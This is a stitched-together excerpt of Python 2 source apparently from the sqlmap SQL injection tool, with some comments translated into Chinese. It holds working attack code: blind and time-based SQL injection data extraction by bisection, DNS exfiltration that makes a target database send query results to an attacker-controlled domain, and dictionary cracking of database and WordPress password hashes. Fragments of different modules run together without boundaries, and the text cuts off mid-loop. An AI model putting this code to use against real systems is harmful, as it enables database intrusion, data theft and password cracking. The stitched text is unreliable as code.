setDbms("%s 3" % DBMS.MYSQL)
self.getBanner()
return True
else:
warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL
logger.warn(warnMsg)
return False
def direct(query, content=True):
select = True
query = agent.payloadDirect(query)
query = agent.adjustLateValues(query)
threadData = getCurrentThreadData()
if Backend.isDbms(DBMS.ORACLE) and query.upper().startswith(
"SELECT ") and " FROM " not in query.upper():
query = "%s FROM DUAL" % query
for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
for sqlStatement in sqlStatements:
if query.lower().startswith(
sqlStatement) and sqlTitle != "SQL SELECT statement":
select = False
break
if select:
if re.search(r"(?i)\ASELECT ", query) is None:
query = "SELECT %s" % query
if conf.binaryFields:
for field in conf.binaryFields:
field = field.strip()
if re.search(r"\b%s\b" % re.escape(field), query):
query = re.sub(r"\b%s\b" % re.escape(field),
agent.hexConvertField(field), query)
logger.log(CUSTOM_LOGGING.PAYLOAD, query)
output = hashDBRetrieve(query, True, True)
start = time.time()
if not select and re.search(r"(?i)\bEXEC ", query) is None:
timeout(func=conf.dbmsConnector.execute,
args=(query, ),
duration=conf.timeout,
default=None)
elif not (output and ("%soutput" % conf.tablePrefix) not in query and
("%sfile" % conf.tablePrefix) not in query):
output, state = timeout(func=conf.dbmsConnector.select,
args=(query, ),
duration=conf.timeout,
default=None)
if state == TIMEOUT_STATE.NORMAL:
hashDBWrite(query, output, True)
elif state == TIMEOUT_STATE.TIMEOUT:
conf.dbmsConnector.close()
conf.dbmsConnector.connect()
elif output:
infoMsg = "resumed: %s..." % getUnicode(output, UNICODE_ENCODING)[:20]
logger.info(infoMsg)
threadData.lastQueryDuration = calculateDeltaSeconds(start)
if not output:
return output
elif content:
if output and isListLike(output):
if len(output[0]) == 1:
output = [_[0] for _ in output]
retVal = getUnicode(output, noneToNull=True)
return safecharencode(retVal) if kb.safeCharEncode else retVal
else:
return extractExpectedValue(output, EXPECTED.BOOL)
def getFingerprint(self):
fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK)
if fork is None:
if inject.checkBooleanExpression("VERSION() LIKE '%CockroachDB%'"):
fork = FORK.COCKROACHDB
elif inject.checkBooleanExpression(
"VERSION() LIKE '%Redshift%'"
): # Reference: https://dataedo.com/kb/query/amazon-redshift/check-server-version
fork = FORK.REDSHIFT
elif inject.checkBooleanExpression(
"VERSION() LIKE '%Greenplum%'"
): # Reference: http://www.sqldbpros.com/wordpress/wp-content/uploads/2014/08/what-version-of-greenplum.png
fork = FORK.GREENPLUM
elif inject.checkBooleanExpression(
"VERSION() LIKE '%Yellowbrick%'"
): # Reference: https://www.yellowbrick.com/docs/3.3/ybd_sqlref/version.html
fork = FORK.YELLOWBRICK
elif inject.checkBooleanExpression(
"VERSION() LIKE '%EnterpriseDB%'"
): # Reference: https://www.enterprisedb.com/edb-docs/d/edb-postgres-advanced-server/user-guides/user-guide/11/EDB_Postgres_Advanced_Server_Guide.1.087.html
fork = FORK.ENTERPRISEDB
elif inject.checkBooleanExpression(
"AURORA_VERSION() LIKE '%'"
): # Reference: https://aws.amazon.com/premiumsupport/knowledge-center/aurora-version-number/
fork = FORK.AURORA
else:
fork = ""
hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork)
value = ""
wsOsFp = Format.getOs("web server", kb.headersFp)
if wsOsFp:
value += "%s\n" % wsOsFp
if kb.data.banner:
dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
if dbmsOsFp:
value += "%s\n" % dbmsOsFp
value += "back-end DBMS: "
if not conf.extensiveFp:
value += DBMS.PGSQL
if fork:
value += " (%s fork)" % fork
return value
actVer = Format.getDbms()
blank = " " * 15
value += "active fingerprint: %s" % actVer
if kb.bannerFp:
banVer = kb.bannerFp.get("dbmsVersion")
if banVer:
banVer = Format.getDbms([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
htmlErrorFp = Format.getErrorParsedDBMSes()
if htmlErrorFp:
value += "\n%shtml error message fingerprint: %s" % (blank,
htmlErrorFp)
if fork:
value += "\n%sfork fingerprint: %s" % (blank, fork)
return value
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False):
"""
Bisection algorithm that can be used to perform blind SQL injection
on an affected host
"""
abortedFlag = False
showEta = False
partialValue = u""
finalValue = None
retrievedLength = 0
asciiTbl = getCharset(charsetType)
threadData = getCurrentThreadData()
timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
retVal = hashDBRetrieve(expression, checkConf=True)
if retVal:
if PARTIAL_HEX_VALUE_MARKER in retVal:
retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "")
if retVal and conf.hexConvert:
partialValue = retVal
infoMsg = "resuming partial value: %s" % safecharencode(partialValue)
logger.info(infoMsg)
elif PARTIAL_VALUE_MARKER in retVal:
retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")
if retVal and not conf.hexConvert:
partialValue = retVal
infoMsg = "resuming partial value: %s" % safecharencode(partialValue)
logger.info(infoMsg)
else:
infoMsg = "resumed: %s" % safecharencode(retVal)
logger.info(infoMsg)
return 0, retVal
try:
# Set kb.partRun in case "common prediction" feature (a.k.a. "good
# samaritan") is used or the engine is called from the API
if conf.predictOutput:
kb.partRun = getPartRun()
elif hasattr(conf, "api"):
kb.partRun = getPartRun(alias=False)
else:
kb.partRun = None
if partialValue:
firstChar = len(partialValue)
elif "LENGTH(" in expression.upper() or "LEN(" in expression.upper():
firstChar = 0
elif dump and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit())):
firstChar = int(conf.firstChar) - 1
elif isinstance(firstChar, basestring) and firstChar.isdigit() or isinstance(firstChar, int):
firstChar = int(firstChar) - 1
else:
firstChar = 0
if "LENGTH(" in expression.upper() or "LEN(" in expression.upper():
lastChar = 0
elif dump and conf.lastChar is not None and (isinstance(conf.lastChar, int) or (isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit())):
lastChar = int(conf.lastChar)
elif isinstance(lastChar, basestring) and lastChar.isdigit() or isinstance(lastChar, int):
lastChar = int(lastChar)
else:
lastChar = 0
if Backend.getDbms():
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
expressionUnescaped = unescaper.escape(expressionReplaced)
else:
expressionUnescaped = unescaper.escape(expression)
if isinstance(length, basestring) and length.isdigit() or isinstance(length, int):
length = int(length)
else:
length = None
if length == 0:
return 0, ""
if length and (lastChar > 0 or firstChar > 0):
length = min(length, lastChar or length) - firstChar
if length and length > MAX_BISECTION_LENGTH:
length = None
showEta = conf.eta and isinstance(length, int)
numThreads = min(conf.threads, length) or 1
if showEta:
progress = ProgressBar(maxValue=length)
if timeBasedCompare and conf.threads > 1 and not conf.forceThreads:
warnMsg = "multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically"
singleTimeWarnMessage(warnMsg)
if numThreads > 1:
if not timeBasedCompare or conf.forceThreads:
debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else ""))
logger.debug(debugMsg)
else:
numThreads = 1
if conf.threads == 1 and not timeBasedCompare and not conf.predictOutput:
warnMsg = "running in a single-thread mode. Please consider "
warnMsg += "usage of option '--threads' for faster data retrieval"
singleTimeWarnMessage(warnMsg)
if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"):
if isinstance(length, int) and conf.threads > 1:
dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth)))
dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
else:
dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
hintlock = threading.Lock()
def tryHint(idx):
with hintlock:
hintValue = kb.hintValue
if hintValue is not None and len(hintValue) >= idx:
if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2):
posValue = hintValue[idx - 1]
else:
posValue = ord(hintValue[idx - 1])
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue))
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
if result:
return hintValue[idx - 1]
with hintlock:
kb.hintValue = None
return None
def validateChar(idx, value):
"""
Used in inference - in time-based SQLi if original and retrieved value are not equal there will be a deliberate delay
"""
if "'%s'" % CHAR_INFERENCE_MARK not in payload:
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx, value))
else:
# e.g.: ... > '%c' -> ... > ORD(..)
markingValue = "'%s'" % CHAR_INFERENCE_MARK
unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(value))
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)
result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
if result and timeBasedCompare:
result = threadData.lastCode == kb.injection.data[kb.technique].trueCode
if not result:
warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, kb.injection.data[kb.technique].trueCode)
singleTimeWarnMessage(warnMsg)
incrementCounter(kb.technique)
return result
def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None):
"""
continuousOrder means that distance between each two neighbour's
numerical values is exactly 1
"""
result = tryHint(idx)
if result:
return result
if charTbl is None:
charTbl = type(asciiTbl)(asciiTbl)
originalTbl = type(charTbl)(charTbl)
if continuousOrder and shiftTable is None:
# Used for gradual expanding into unicode charspace
shiftTable = [2, 2, 3, 3, 5, 4]
if "'%s'" % CHAR_INFERENCE_MARK in payload:
for char in ('\n', '\r'):
if ord(char) in charTbl:
charTbl.remove(ord(char))
if not charTbl:
return None
elif len(charTbl) == 1:
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0]))
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
if result:
return decodeIntToUnicode(charTbl[0])
else:
return None
maxChar = maxValue = charTbl[-1]
minChar = minValue = charTbl[0]
firstCheck = False
lastCheck = False
unexpectedCode = False
while len(charTbl) != 1:
position = None
if charsetType is None:
if not firstCheck:
try:
try:
lastChar = [_ for _ in threadData.shared.value if _ is not None][-1]
except IndexError:
lastChar = None
if 'a' <= lastChar <= 'z':
position = charTbl.index(ord('a') - 1) # 96
elif 'A' <= lastChar <= 'Z':
position = charTbl.index(ord('A') - 1) # 64
elif '0' <= lastChar <= '9':
position = charTbl.index(ord('0') - 1) # 47
except ValueError:
pass
finally:
firstCheck = True
elif not lastCheck and numThreads == 1: # not usable in multi-threading environment
if charTbl[(len(charTbl) >> 1)] < ord(' '):
try:
# favorize last char check if current value inclines toward 0
position = charTbl.index(1)
except ValueError:
pass
finally:
lastCheck = True
if position is None:
position = (len(charTbl) >> 1)
posValue = charTbl[position]
falsePayload = None
if "'%s'" % CHAR_INFERENCE_MARK not in payload:
forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue))
falsePayload = safeStringFormat(payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER))
else:
# e.g.: ... > '%c' -> ... > ORD(..)
markingValue = "'%s'" % CHAR_INFERENCE_MARK
unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue))
forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)
falsePayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, NULL)
if timeBasedCompare:
if kb.responseTimeMode:
kb.responseTimePayload = falsePayload
else:
kb.responseTimePayload = None
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
if not timeBasedCompare:
unexpectedCode |= threadData.lastCode not in (kb.injection.data[kb.technique].falseCode, kb.injection.data[kb.technique].trueCode)
if unexpectedCode:
warnMsg = "unexpected HTTP code '%s' detected. Will use (extra) validation step in similar cases" % threadData.lastCode
singleTimeWarnMessage(warnMsg)
if result:
minValue = posValue
if type(charTbl) != xrange:
charTbl = charTbl[position:]
else:
# xrange() - extended virtual charset used for memory/space optimization
charTbl = xrange(charTbl[position], charTbl[-1] + 1)
else:
maxValue = posValue
if type(charTbl) != xrange:
charTbl = charTbl[:position]
else:
charTbl = xrange(charTbl[0], charTbl[position])
if len(charTbl) == 1:
if continuousOrder:
if maxValue == 1:
return None
# Going beyond the original charset
elif minValue == maxChar:
# If the original charTbl was [0,..,127] new one
# will be [128,..,(128 << 4) - 1] or from 128 to 2047
# and instead of making a HUGE list with all the
# elements we use a xrange, which is a virtual
# list
if expand and shiftTable:
charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop())
originalTbl = xrange(charTbl)
maxChar = maxValue = charTbl[-1]
minChar = minValue = charTbl[0]
else:
return None
else:
retVal = minValue + 1
if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload):
if (timeBasedCompare or unexpectedCode) and not validateChar(idx, retVal):
if not kb.originalTimeDelay:
kb.originalTimeDelay = conf.timeSec
threadData.validationRun = 0
if retried < MAX_REVALIDATION_STEPS:
errMsg = "invalid character detected. retrying.."
logger.error(errMsg)
if timeBasedCompare:
if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE:
conf.timeSec += 1
warnMsg = "increasing time delay to %d second%s " % (conf.timeSec, 's' if conf.timeSec > 1 else '')
logger.warn(warnMsg)
if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
dbgMsg = "turning off time auto-adjustment mechanism"
logger.debug(dbgMsg)
kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO
return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1)
else:
errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(retVal)
logger.error(errMsg)
conf.timeSec = kb.originalTimeDelay
return decodeIntToUnicode(retVal)
else:
if timeBasedCompare:
threadData.validationRun += 1
if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD:
dbgMsg = "turning back on time auto-adjustment mechanism"
logger.debug(dbgMsg)
kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES
return decodeIntToUnicode(retVal)
else:
return None
else:
if minValue == maxChar or maxValue == minChar:
return None
for index in xrange(len(originalTbl)):
if originalTbl[index] == minValue:
break
# If we are working with non-continuous elements, both minValue and character after
# are possible candidates
for retVal in (originalTbl[index], originalTbl[index + 1]):
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal))
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
if result:
return decodeIntToUnicode(retVal)
return None
# Go multi-threading (--threads > 1)
if conf.threads > 1 and isinstance(length, int) and length > 1:
threadData.shared.value = [None] * length
threadData.shared.index = [firstChar] # As list for python nested function scoping
threadData.shared.start = firstChar
try:
def blindThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
kb.locks.index.acquire()
if threadData.shared.index[0] - firstChar >= length:
kb.locks.index.release()
return
threadData.shared.index[0] += 1
curidx = threadData.shared.index[0]
kb.locks.index.release()
if kb.threadContinue:
charStart = time.time()
val = getChar(curidx)
if val is None:
val = INFERENCE_UNKNOWN_CHAR
else:
break
with kb.locks.value:
threadData.shared.value[curidx - 1 - firstChar] = val
currentValue = list(threadData.shared.value)
if kb.threadContinue:
if showEta:
progress.progress(time.time() - charStart, threadData.shared.index[0])
elif conf.verbose >= 1:
startCharIndex = 0
endCharIndex = 0
for i in xrange(length):
if currentValue[i] is not None:
endCharIndex = max(endCharIndex, i)
output = ''
if endCharIndex > conf.progressWidth:
startCharIndex = endCharIndex - conf.progressWidth
count = threadData.shared.start
for i in xrange(startCharIndex, endCharIndex + 1):
output += '_' if currentValue[i] is None else currentValue[i]
for i in xrange(length):
count += 1 if currentValue[i] is not None else 0
if startCharIndex > 0:
output = '..' + output[2:]
if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1):
output = output[:-2] + '..'
if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"):
_ = count - firstChar
output += '_' * (min(length, conf.progressWidth) - len(output))
status = ' %d/%d (%d%%)' % (_, length, round(100.0 * _ / length))
output += status if _ != length else " " * len(status)
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output)))
runThreads(numThreads, blindThread, startThreadMsg=False)
except KeyboardInterrupt:
abortedFlag = True
finally:
value = [_ for _ in partialValue]
value.extend(_ for _ in threadData.shared.value)
infoMsg = None
# If we have got one single character not correctly fetched it
# can mean that the connection to the target URL was lost
if None in value:
partialValue = "".join(value[:value.index(None)])
if partialValue:
infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), filterControlChars(partialValue))
else:
finalValue = "".join(value)
infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue))
if conf.verbose in (1, 2) and not showEta and infoMsg and not hasattr(conf, "api"):
dataToStdout(infoMsg)
# No multi-threading (--threads = 1)
else:
index = firstChar
threadData.shared.value = ""
while True:
index += 1
charStart = time.time()
# Common prediction feature (a.k.a. "good samaritan")
# NOTE: to be used only when multi-threading is not set for
# the moment
if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None:
val = None
commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl)
# If there is one single output in common-outputs, check
# it via equal against the query output
if commonValue is not None:
# One-shot query containing equals commonValue
testValue = unescaper.escape("'%s'" % commonValue) if "'" not in commonValue else unescaper.escape("%s" % commonValue, quote=False)
query = kb.injection.data[kb.technique].vector
query = agent.prefixQuery(query.replace("[INFERENCE]", "(%s)=%s" % (expressionUnescaped, testValue)))
query = agent.suffixQuery(query)
result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
# Did we have luck?
if result:
if showEta:
progress.progress(time.time() - charStart, len(commonValue))
elif conf.verbose in (1, 2) or hasattr(conf, "api"):
dataToStdout(filterControlChars(commonValue[index - 1:]))
finalValue = commonValue
break
# If there is a common pattern starting with partialValue,
# check it via equal against the substring-query output
if commonPattern is not None:
# Substring-query containing equals commonPattern
subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern))
testValue = unescaper.escape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.escape("%s" % commonPattern, quote=False)
query = kb.injection.data[kb.technique].vector
query = agent.prefixQuery(query.replace("[INFERENCE]", "(%s)=%s" % (subquery, testValue)))
query = agent.suffixQuery(query)
result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
# Did we have luck?
if result:
val = commonPattern[index - 1:]
index += len(val) - 1
# Otherwise if there is no commonValue (single match from
# txt/common-outputs.txt) and no commonPattern
# (common pattern) use the returned common charset only
# to retrieve the query output
if not val and commonCharset:
val = getChar(index, commonCharset, False)
# If we had no luck with commonValue and common charset,
# use the returned other charset
if not val:
val = getChar(index, otherCharset, otherCharset == asciiTbl)
else:
val = getChar(index, asciiTbl)
if val is None:
finalValue = partialValue
break
if kb.data.processChar:
val = kb.data.processChar(val)
threadData.shared.value = partialValue = partialValue + val
if showEta:
progress.progress(time.time() - charStart, index)
elif conf.verbose in (1, 2) or hasattr(conf, "api"):
dataToStdout(filterControlChars(val))
# some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces
if len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace() and partialValue.strip(' ')[-1:] != '\n':
finalValue = partialValue[:-INFERENCE_BLANK_BREAK]
break
if (lastChar > 0 and index >= lastChar):
finalValue = "" if length == 0 else partialValue
finalValue = finalValue.rstrip() if len(finalValue) > 1 else finalValue
partialValue = None
break
except KeyboardInterrupt:
abortedFlag = True
finally:
kb.prependFlag = False
kb.stickyLevel = None
retrievedLength = len(finalValue or "")
if finalValue is not None:
finalValue = decodeHexValue(finalValue) if conf.hexConvert else finalValue
hashDBWrite(expression, finalValue)
elif partialValue:
hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue))
if conf.hexConvert and not abortedFlag and not hasattr(conf, "api"):
infoMsg = "\r[%s] [INFO] retrieved: %s %s\n" % (time.strftime("%X"), filterControlChars(finalValue), " " * retrievedLength)
dataToStdout(infoMsg)
else:
if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"):
dataToStdout("\n")
if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3:
infoMsg = "retrieved: %s" % filterControlChars(finalValue)
logger.info(infoMsg)
if kb.threadException:
raise SqlmapThreadException("something unexpected happened inside the threads")
if abortedFlag:
raise KeyboardInterrupt
_ = finalValue or partialValue
return getCounter(kb.technique), safecharencode(_) if kb.safeCharEncode else _
def dnsUse(payload, expression):
"""
通过向攻击者的机器发出请求，获取利用DNS解析机制的SQL查询的输出.
"""
start = time.time()
retVal = None
count = 0
offset = 1
if conf.dnsDomain and Backend.getIdentifiedDbms() in (
DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL):
output = hashDBRetrieve(expression, checkConf=True)
if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None:
output = None
if output is None:
kb.dnsMode = True
while True:
count += 1
# 用于DNS技术中名称解析请求的前缀和后缀字符串的字母（不包括不与内容混合的十六进制字符）
# DNS_BOUNDARIES_ALPHABET = re.sub("[a-fA-F]", "", string.ascii_letters)
prefix, suffix = (
"%s" %
randomStr(length=3, alphabet=DNS_BOUNDARIES_ALPHABET)
for _ in xrange(2))
# MAX_DNS_LABEL = 63
chunk_length = MAX_DNS_LABEL / 2 if Backend.getIdentifiedDbms(
) in (DBMS.ORACLE, DBMS.MYSQL,
DBMS.PGSQL) else MAX_DNS_LABEL / 4 - 2
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(
expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
extendedField = re.search(
r"[^ ,]*%s[^ ,]*" % re.escape(fieldToCastStr),
expression).group(0)
if extendedField != fieldToCastStr: # e.g. MIN(surname)
nulledCastedField = extendedField.replace(
fieldToCastStr, nulledCastedField)
fieldToCastStr = extendedField
nulledCastedField = queries[Backend.getIdentifiedDbms(
)].substring.query % (nulledCastedField, offset, chunk_length)
nulledCastedField = agent.hexConvertField(nulledCastedField)
expressionReplaced = expression.replace(
fieldToCastStr, nulledCastedField, 1)
expressionRequest = getSQLSnippet(Backend.getIdentifiedDbms(),
"dns_request",
PREFIX=prefix,
QUERY=expressionReplaced,
SUFFIX=suffix,
DOMAIN=conf.dnsDomain)
expressionUnescaped = unescaper.escape(expressionRequest)
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL):
query = agent.prefixQuery("; %s" % expressionUnescaped)
query = "%s%s" % (query, queries[
Backend.getIdentifiedDbms()].comment.query)
forgedPayload = agent.payload(newValue=query)
else:
forgedPayload = safeStringFormat(
payload,
(expressionUnescaped, randomInt(1), randomInt(3)))
Request.queryPage(forgedPayload,
content=False,
noteResponseTime=False,
raise404=False)
_ = conf.dnsServer.pop(prefix, suffix)
if _:
_ = extractRegexResult(
"%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I)
_ = decodeHexValue(_)
output = (output or "") + _
offset += len(_)
if len(_) < chunk_length:
break
else:
break
output = decodeHexValue(output) if conf.hexConvert else output
kb.dnsMode = False
if output is not None:
retVal = output
if kb.dnsTest is not None:
dataToStdout("[%s] [INFO] %s: %s\n" %
(time.strftime("%X"), "retrieved" if count > 0
else "resumed", safecharencode(output)))
if count > 0:
hashDBWrite(expression, output)
if not kb.bruteMode:
debugMsg = u"在%.2f秒内执行了%d个查询" % (count,
calculateDeltaSeconds(start))
logger.debug(debugMsg)
elif conf.dnsDomain:
warnMsg = "通过SQL注入DNS数据这种渗透方法"
warnMsg += "目前不适用于DBMS %s" % Backend.getIdentifiedDbms()
singleTimeWarnMessage(warnMsg)
return safecharencode(retVal) if kb.safeCharEncode else retVal
def dictionaryAttack(attack_dict):
suffix_list = [""]
custom_wordlist = []
hash_regexes = []
results = []
resumes = []
processException = False
user_hash = []
for (_, hashes) in attack_dict.items():
for hash_ in hashes:
if not hash_:
continue
hash_ = hash_.split()[0]
regex = hashRecognition(hash_)
if regex and regex not in hash_regexes:
hash_regexes.append(regex)
infoMsg = "using hash method '%s'" % __functions__[
regex].func_name
logger.info(infoMsg)
for hash_regex in hash_regexes:
keys = set()
attack_info = []
for (user, hashes) in attack_dict.items():
for hash_ in hashes:
if not hash_:
continue
hash_ = hash_.split()[0]
if re.match(hash_regex, hash_):
item = None
if hash_regex not in (HASH.CRYPT_GENERIC, HASH.WORDPRESS):
hash_ = hash_.lower()
if hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD,
HASH.MD5_GENERIC, HASH.SHA1_GENERIC):
item = [(user, hash_), {}]
elif hash_regex in (HASH.ORACLE_OLD, HASH.POSTGRES):
item = [(user, hash_), {'username': user}]
elif hash_regex in (HASH.ORACLE):
item = [(user, hash_), {'salt': hash_[-20:]}]
elif hash_regex in (HASH.MSSQL, HASH.MSSQL_OLD):
item = [(user, hash_), {'salt': hash_[6:14]}]
elif hash_regex in (HASH.CRYPT_GENERIC):
item = [(user, hash_), {'salt': hash_[0:2]}]
elif hash_regex in (HASH.WORDPRESS):
item = [(user, hash_), {
'salt': hash_[4:12],
'count': 1 << ITOA64.index(hash_[3]),
'prefix': hash_[:12]
}]
if item and hash_ not in keys:
resumed = hashDBRetrieve(hash_)
if not resumed:
attack_info.append(item)
user_hash.append(item[0])
else:
infoMsg = "resuming password '%s' for hash '%s'" % (
resumed, hash_)
if user and not user.startswith(DUMMY_USER_PREFIX):
infoMsg += " for user '%s'" % user
logger.info(infoMsg)
resumes.append((user, hash_, resumed))
keys.add(hash_)
if not attack_info:
continue
if not kb.wordlists:
while not kb.wordlists:
# the slowest of all methods hence smaller default dict
if hash_regex in (HASH.ORACLE_OLD, HASH.WORDPRESS):
dictPaths = [paths.SMALL_DICT]
else:
dictPaths = [paths.WORDLIST]
message = "what dictionary do you want to use?\n"
message += "[1] default dictionary file '%s' (press Enter)\n" % dictPaths[
0]
message += "[2] custom dictionary file\n"
message += "[3] file with list of dictionary files"
choice = readInput(message, default="1")
try:
if choice == "2":
message = "what's the custom dictionary's location?\n"
dictPaths = [readInput(message)]
logger.info("using custom dictionary")
elif choice == "3":
message = "what's the list file location?\n"
listPath = readInput(message)
checkFile(listPath)
dictPaths = getFileItems(listPath)
logger.info("using custom list of dictionaries")
else:
logger.info("using default dictionary")
for dictPath in dictPaths:
checkFile(dictPath)
kb.wordlists = dictPaths
except sqlmapFilePathException, msg:
warnMsg = "there was a problem while loading dictionaries"
warnMsg += " ('%s')" % msg
logger.critical(warnMsg)
message = "do you want to use common password suffixes? (slow!) [y/N] "
test = readInput(message, default="N")
if test[0] in ("y", "Y"):
suffix_list += COMMON_PASSWORD_SUFFIXES
infoMsg = "starting dictionary-based cracking (%s)" % __functions__[
hash_regex].func_name
logger.info(infoMsg)
for item in attack_info:
((user, _), _) = item
if user and not user.startswith(DUMMY_USER_PREFIX):
custom_wordlist.append(normalizeUnicode(user))
if hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC,
HASH.SHA1_GENERIC):
for suffix in suffix_list:
if not attack_info or processException:
break
if suffix:
clearConsoleLine()
infoMsg = "using suffix '%s'" % suffix
logger.info(infoMsg)
retVal = None
processes = []
try:
if _multiprocessing:
if _multiprocessing.cpu_count() > 1:
infoMsg = "starting %d processes " % _multiprocessing.cpu_count(
)
singleTimeLogMessage(infoMsg)
retVal = _multiprocessing.Queue()
count = _multiprocessing.Value(
'i', _multiprocessing.cpu_count())
for i in xrange(_multiprocessing.cpu_count()):
p = _multiprocessing.Process(
target=__bruteProcessVariantA,
args=(attack_info, hash_regex, suffix, retVal,
i, count, kb.wordlists, custom_wordlist))
processes.append(p)
for p in processes:
p.start()
for p in processes:
p.join()
else:
warnMsg = "multiprocessing hash cracking is currently "
warnMsg += "not supported on this platform"
singleTimeWarnMessage(warnMsg)
retVal = Queue()
__bruteProcessVariantA(attack_info, hash_regex, suffix,
retVal, 0, 1, kb.wordlists,
custom_wordlist)
except KeyboardInterrupt:
print
processException = True
warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)"
logger.warn(warnMsg)
for process in processes:
try:
process.terminate()
process.join()
except OSError:
pass
finally:
if retVal:
conf.hashDB.beginTransaction()
while not retVal.empty():
user, hash_, word = item = retVal.get(block=False)
attack_info = filter(
lambda _: _[0][0] != user or _[0][1] != hash_,
attack_info)
hashDBWrite(hash_, word)
results.append(item)
conf.hashDB.endTransaction()
clearConsoleLine()
else:
for ((user, hash_), kwargs) in attack_info:
if processException:
break
if any(_[0] == user and _[1] == hash_ for _ in results):
continue
count = 0
found = False
for suffix in suffix_list:
if found or processException:
break
if suffix:
clearConsoleLine()
